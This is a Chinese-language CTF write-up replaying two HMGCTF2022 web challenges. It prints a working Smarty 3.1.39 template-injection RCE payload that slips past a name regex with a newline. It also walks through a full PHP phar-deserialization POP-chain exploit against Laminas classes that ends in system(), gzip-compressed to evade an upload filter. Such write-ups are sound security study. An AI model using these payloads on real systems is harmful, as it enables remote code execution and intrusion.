BUU hmgctf(复现)
没发现有这个比赛,看看buu复现一波
[HMGCTF2022]Smarty Calculator
www.zip
直接下载源码。
if(isset($_POST['data'])){ if(isset($_COOKIE['login'])) { $data = waf($_POST['data']); echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>"; $smarty->display("string:" . $data); }else{ echo "<script>alert(\"你还没有登录\")</script>"; } }
可以发现一个简单过滤的smarty注入,设置一下cookie。但是似乎情况不太对。用{if}
注不了。然后输出一波smarty版本:
data={$smarty.version}
显示为3.1.39。然后谷歌了一下,似乎没有现成的exp。但是可以看到github更新日志:
修复了一个rce漏洞。谷歌可以搜到利用exp:
{function+name='rce(){};system("id");function+'}{/function}
很明显,这个用不了。本地搭建一下debug看看发生了什么。报了一个错误:
全局搜索一下在哪里报的:
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) { $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true); }
有个正则,检测name的值。估计绕过这个正则说不定就能rce。
一个回车就能绕过。尝试一下:
data={function+name='rce(){};system("id");%0afunction+'}{/function}
成功rce。绕过flag,直接通配符就行:
data={function+name='rce(){};system("cat+/*");%0afunction+'}{/function}
[HMGCTF2022]Fan Website
不管太多,直接先下载源码:www.zip
。一个奇怪的框架(没见过),找了半天才找到控制器。在module/Album/src/Controller/AlbumController.php
下可以看到album控制器。直接/album就能看到。然后分析action函数的触发方式,类似thinkphp的方式触发。关键函数:
public function imguploadAction() { $form = new UploadForm('upload-form'); $request = $this->getRequest(); if ($request->isPost()) { // Make certain to merge the $_FILES info! $post = array_merge_recursive( $request->getPost()->toArray(), $request->getFiles()->toArray() ); $form->setData($post); if ($form->isValid()) { $data = $form->getData(); $base = substr($data["image-file"]["name"],-4,4); if(in_array($base,$this->white_list)){ //白名单限制 $cont = file_get_contents($data["image-file"]["tmp_name"]); if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) { die("Not This"); } if($data["image-file"]["size"]<3000){ die("The picture size must be more than 3kb"); } $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base; echo $img_path; $form->saveImg($data["image-file"]["tmp_name"],$img_path); }else{ echo 'Only Img Can Be Uploaded!'; } // Form is valid, save the form! //return $this->redirect()->toRoute('upload-form/success'); } } return ['form' => $form]; }
文件上传,后缀限制,大小需要3kb以上,而且文件名不可控。
public function imgdeleteAction() { $request = $this->getRequest(); if(isset($request->getPost()['imgpath'])){ $imgpath = $request->getPost()['imgpath']; $base = substr($imgpath,-4,4); if(in_array($base,$this->white_list)){ //白名单 @unlink($imgpath); }else{ echo 'Only Img File Can Be Deleted!'; } } }
删除文件操作,看到路径怀疑可以phar,然后有个unlink。这个unlink可以触发phar。
所以直接搞一手phar。找链子。
全局搜索
__destruct
,在Logger.php
public function __destruct() { foreach ($this->writers as $writer) { try { $writer->shutdown(); } catch (\Exception $e) { } } }
明显全局搜索shutdown看看有没有利用点。在Mail.php
public function shutdown() { // If there are events to mail, use them as message body. Otherwise, // there is no mail to be sent. if (empty($this->eventsToMail)) { return; } if ($this->subjectPrependText !== null) { // Tack on the summary of entries per-priority to the subject // line and set it on the Laminas\Mail object. $numEntries = $this->getFormattedNumEntriesPerPriority(); $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})"); } // Always provide events to mail as plaintext. $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail)); // Finally, send the mail. If an exception occurs, convert it into a // warning-level message so we can avoid an exception thrown without a // stack frame. try { $this->transport->send($this->mail); } catch (TransportException\ExceptionInterface $e) { trigger_error( "unable to send log entries via email; " . "message = {$e->getMessage()}; " . "code = {$e->getCode()}; " . "exception class = " . get_class($e), E_USER_WARNING ); } }
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
可以触发__call
,而且参数可控。全局搜索__call
,在PhpRenderer.php:
public function __call($method, $argv) { $plugin = $this->plugin($method); if (is_callable($plugin)) { return call_user_func_array($plugin, $argv); } return $plugin; }
然后看看这个plugin
是否可控。
public function plugin($name, array $options = null) { return $this->getHelperPluginManager()->get($name, $options); }
看getHelperPluginManager()
public function getHelperPluginManager() { if (null === $this->__helpers) { $this->setHelperPluginManager(new HelperPluginManager(new ServiceManager())); } return $this->__helpers; }
这个__helpers
可控,所以全局搜一波get函数。在BaseInputFilter.php
:
public function get($name) { if (! array_key_exists($name, $this->inputs)) { throw new Exception\InvalidArgumentException(sprintf( '%s: no input found matching "%s"', __METHOD__, $name )); } return $this->inputs[$name]; }
所以最终导致plugin
可控。然后直接触发call_user_func_array($plugin, $argv);
最终pop:Logger->Mail->PhpRenderer(其中里面的plugin需要BaseInputFilter进行控制)
但是还需要绕过
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) { die("Not This"); }
然后根据wp,直接用gzip压缩即可绕过。最终exp:
<?php namespace Laminas\Log{ use Laminas\Log\Writer\Mail; class Logger{ protected $writers; public function __construct() { $this->writers = array(new Mail()); } } } namespace Laminas\Log\Writer{ use Laminas\View\Renderer\PhpRenderer; class Mail{ protected $eventsToMail = []; protected $mail; public function __construct() { $this->eventsToMail = array("cat /flag"); $this->mail = new PhpRenderer();; } } } namespace Laminas\View\Renderer{ use Laminas\InputFilter\BaseInputFilter; class PhpRenderer{ private $__helpers; public function __construct() { $this->__helpers = new BaseInputFilter(); } } } namespace Laminas\InputFilter{ class BaseInputFilter{ protected $inputs = []; public function __construct() { $this->inputs = array("setBody" => "system"); } } } namespace{ use Laminas\Log\Logger; $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Logger(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", file_get_contents("test.txt")); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); system("gzip phar.phar"); rename("phar.phar.gz", "phar.jpg"); }
其中test.txt是一个3mb的文件,用linux直接生成:
truncate -s 3M test.txt